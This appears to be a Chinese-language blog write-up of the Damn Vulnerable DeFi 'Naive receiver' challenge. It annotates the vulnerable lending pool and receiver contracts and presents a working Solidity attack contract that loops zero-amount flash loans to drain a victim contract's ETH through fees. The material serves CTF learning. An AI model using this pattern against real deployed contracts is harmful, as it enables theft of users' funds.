午时已到

V1

2023/01/08阅读:16主题:凝夜紫

Defi黑客系列:Damn Vulnerable DeFi (二) - Naive receiver

Damn Vulnerable DeFi 是一个 Defi 智能合约攻击挑战系列。内容包括了闪电贷攻击、借贷池、链上预言机等。在开始之前你需要具备 Solidity 以及 JavaScipt 相关的技能。针对每一题你需要做的就是保证该题的单元测试能够通过。

题目链接:https://www.damnvulnerabledefi.xyz/challenges/2.html

题目描述:

有一个余额有1000eth的借贷池,提供了昂贵的闪电贷服务(每次执行闪电贷需要付 1eth 的手续费)。有一个用户部署了一个智能合约,余额有10eth, 并且可以与借贷池交互进行闪电贷操作。你的目标是使用一笔交易将用户智能合约里的eth全部取出。

首先看下智能合约的源码

NaiveReceiverLenderPool.sol 借贷池合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ReentrancyGuard 使用重入锁防重入攻击
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    // 对 address类型 应用 Address 库
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // 每次闪电贷的手续费
		
    // 获取手续费
    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }
    
    // 闪电贷方法
    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        // 获取该智能合约的余额
        uint256 balanceBefore = address(this).balance;
        // 期望借出的数量不大于余额
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
        
        // 借款人 borrower 只能是合约地址,不能是普通地址
        require(borrower.isContract(), "Borrower must be a deployed contract");

        // Transfer ETH and handle control to receiver
        // 调用借款人 receiveEther 方法
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        // 最后确保余额是等于之前的余额加上本次闪电贷的手续费
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {}
}

该合约首先对 address 类型 应用了 Address 库,使 address 类型的变量可以调用 Address 库中的方法。

之后定义了 每次执行闪电贷的手续费为 1 eth 。

最后提供了闪电贷的方法

  • 确保借出的数量是比自身的余额少的

  • 通过 isContract 方法确保借出地址是合约地址

    function isContract(address account) internal view returns (bool) {
    	return account.code.length > 0;
    }
    
  • 调用 Address 库 中的 functionCallWithValue 方法执行借出者的 receiveEther 方法。可以先看下 library Address 内部相关方法的实现

    // target: 目标合约 (也就是borrower) 需要注意的是外部调用库方法时,第一个参数为调用者
    // data: 将调用的方法转换成 calldata (调用合约方法底层都是通过calldata进行的)
    // value: 发送的金额
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        // 确保余额充足
        require(address(this).balance >= value, "Address: insufficient balance for call");
        // 确保target是合约地址
        require(isContract(target), "Address: call to non-contract");
        
        // 通过 calldata 调用(也就是调用 borrower 内的 receiveEther)
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        
        // 验证调用结果
        return verifyCallResult(success, returndata, errorMessage);
    }
    
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // 调用未成功且存在返回值的情况
            if (returndata.length > 0) {
                // 通过内联汇编的加载 返回值并直接 revert
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                // 调用未成功且不存在返回值的情况,直接revert
                revert(errorMessage);
            }
        }
    }
    

接下来看下执行闪电贷的合约 FlashLoanReceiver.sol 余额有 10eth

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;
    
    // 借贷池地址
    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // 借贷池回调的合约方法
    function receiveEther(uint256 fee) public payable {
    	// 调用该方法的必须是 pool 地址
        require(msg.sender == pool, "Sender must be pool");
		
        // 需要归还的数量
        uint256 amountToBeRepaid = msg.value + fee;
        
        // 确保余额充足
        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        // 对借出的钱进行操作(内部通常是套利操作)
        _executeActionDuringFlashLoan();

        // 返还资金到 pool 地址
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

最后看下单元测试的文件 naive-receiver/naive-receiver.challenge.js

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Naive receiver'function ({
  let deployer, user, attacker

  // Pool has 1000 ETH in balance
  const ETHER_IN_POOL = ethers.utils.parseEther('1000')

  // Receiver has 10 ETH in balance
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')

  before(async function ({
    // 创建了三个账号
    [deployer, user, attacker] = await ethers.getSigners()

    const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
    const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)

    this.pool = await LenderPoolFactory.deploy()
      
    // deployer 向 pool 地址发送了 1000 个eth
    await deployer.sendTransaction({ tothis.pool.address, value: ETHER_IN_POOL })
    // 确保转账成功
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
    // 确保能获取到余额
    expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))

    this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
    // 向 receiver 发送了 10 个eth
    await deployer.sendTransaction({ tothis.receiver.address, value: ETHER_IN_RECEIVER })
    // 确保转账成功
    expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
  })

  it('Exploit'async function ({
    /** CODE YOUR EXPLOIT HERE */
  })

  after(async function ({
    /** SUCCESS CONDITIONS */

    // All ETH has been drained from the receiver
    expect(
      // receive 余额为0
      await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0')
    expect(
      // pool 余额为 1000 + 10
      await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
  })
})

该测试用例在部署了借贷池合约和执行闪电贷的合约后,分别向其中转入了 1000 eth 和 10eth。在我们的攻击代码执行过后,最后的期望结果是 执行闪电贷的合约 最终余额为0,而借贷池合约最终的余额为 1010。

本题的关键在于执行闪电贷需要付 1eth 的手续费。如果我们每次都借 0 个,借 10 次,那么10次过后,执行闪电贷的合约的余额必然为0。然而题目要求的是进行一笔交易,而非10次。所以可以尝试写一个智能合约,在智能合约的方法中内部循环10次调用闪电贷方法。

NaiveReceiverAttack.sol

pragma solidity ^0.8.0;

import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
  NaiveReceiverLenderPool public pool;
  FlashLoanReceiver public receiver;
  
  // 初始化设置借贷池合约和执行闪电贷的合约。
  constructor (address payable _pool, address payable _receiver) {
    pool = NaiveReceiverLenderPool(_pool);
    receiver = FlashLoanReceiver(_receiver);
  }
  
  // 攻击方法: 只要发现 receiver 中有余额够付手续费就进行闪电贷操作
  function attack () external {
    // 获取手续费的值
    uint fee = pool.fixedFee();
    while (address(receiver).balance >= fee) {
      pool.flashLoan(address(receiver), 0);
    }
  }
}

最后在测试文件中部署我们的攻击合约

it('Exploit'async function ({
  const AttackFactory = await  ethers.getContractFactory('NaiveReceiverAttack', deployer)
  this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
  // 执行攻击方法
  await this.attacker.attack()
})

最后运行 yarn naive-receiver 测试通过

分类:

后端

标签:

后端

作者介绍

午时已到
V1